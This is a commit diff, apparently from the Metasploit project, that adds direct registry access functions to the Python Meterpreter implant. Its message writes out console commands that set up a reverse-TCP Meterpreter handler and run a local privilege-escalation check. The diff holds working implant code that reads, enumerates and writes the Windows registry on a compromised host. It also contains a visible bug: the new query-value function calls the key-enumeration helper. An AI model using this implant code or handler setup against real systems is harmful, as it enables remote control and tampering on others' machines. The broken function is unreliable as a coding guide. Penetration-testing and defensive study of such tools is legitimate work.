add support for direct reg access to pymeterpreter
When testing this, I found that the python meterpreter hangs running the following, with or without these changes. ``` use exploit/multi/handler set payload python/meterpreter/reverse_tcp set PythonMeterpreterDebug true set lhost 192.168.43.1 exploit -j sleep 5 use exploit/windows/local/trusted_service_path set SESSION 1 check ``` This turned out to be that pymeterpreter ate all the rest of the data in the recv socket by consuming 4k unconditionally. This would only be exposed if there were multiple simultaneous requests so the recv buffer filled beyond a single request, e.g. when using the registry enumeration functions.bug/bundler_fix
parent
503f58375b
commit
cf0589f8c6
|
@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
|||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _wreg_close_key(hkey):
|
||||
ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_close_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
def _wreg_enum_key(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
index = 0
|
||||
tries = 0
|
||||
|
@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response):
|
|||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_key(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_key(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _wreg_enum_value(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
name_sz = ctypes.c_uint32()
|
||||
index = 0
|
||||
|
@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response):
|
|||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_load_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||
|
@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response):
|
|||
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
def _wreg_open_key(request):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return error_result_windows(), 0
|
||||
return ERROR_SUCCESS, handle_id.value
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response):
|
|||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
def _query_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
|
@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response):
|
|||
return error_result_windows(), response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _query_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_key(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _set_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
|
@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _set_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _set_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_unload_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
|
|
Loading…
Reference in New Issue